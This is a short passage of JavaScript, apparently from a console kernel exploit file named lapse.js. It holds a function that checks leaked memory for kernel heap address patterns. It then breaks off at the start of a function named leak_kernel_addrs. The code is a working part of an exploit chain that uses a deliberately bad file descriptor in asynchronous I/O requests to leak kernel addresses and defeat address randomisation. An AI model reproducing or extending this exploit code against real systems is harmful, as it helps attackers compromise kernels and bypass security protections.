Function verify_reqs2

g2all/900/lapse.js:768–818

(buf, offset)

}

function verify_reqs2(buf, offset) {
    // reqs2.ar2_cmd
    if (buf.read32(offset) !== AIO_CMD_WRITE) {
        return false;
    }

    // heap addresses are prefixed with 0xffff_xxxx
    // xxxx is randomized on boot
    //
    // heap_prefixes is a array of randomized prefix bits from a group of heap
    // address candidates. if the candidates truly are from the heap, they must
    // share a common prefix
    const heap_prefixes = [];

    // check if offsets 0x10 to 0x20 look like a kernel heap address
    for (let i = 0x10; i <= 0x20; i += 8) {
        if (buf.read16(offset + i + 6) !== 0xffff) {
            return false;
        }
        heap_prefixes.push(buf.read16(offset + i + 4));
    }

    // check reqs2.ar2_result.state
    // state is actually a 32-bit value but the allocated memory was
    // initialized with zeros. all padding bytes must be 0 then
    let state = buf.read32(offset + 0x38);
    if (!(0 < state && state <= 4) || buf.read32(offset + 0x38 + 4) !== 0) {
        return false;
    }

    // reqs2.ar2_file must be NULL since we passed a bad file descriptor to
    // aio_submit_cmd()
    if (!buf.read64(offset + 0x40).eq(0)) {
        return false;
    }

    // check if offsets 0x48 to 0x50 look like a kernel address
    for (let i = 0x48; i <= 0x50; i += 8) {
        if (buf.read16(offset + i + 6) === 0xffff) {
            // don't push kernel ELF addresses
            if (buf.read16(offset + i + 4) !== 0xffff) {
                heap_prefixes.push(buf.read16(offset + i + 4));
            }
        // offset 0x48 can be NULL
        } else if (i === 0x50 || !buf.read64(offset + i).eq(0)) {
            return false;
        }
    }

    return heap_prefixes.every((e, i, a) => e === a[0]);
}

function leak_kernel_addrs(sd_pair) {
    close(sd_pair[1]);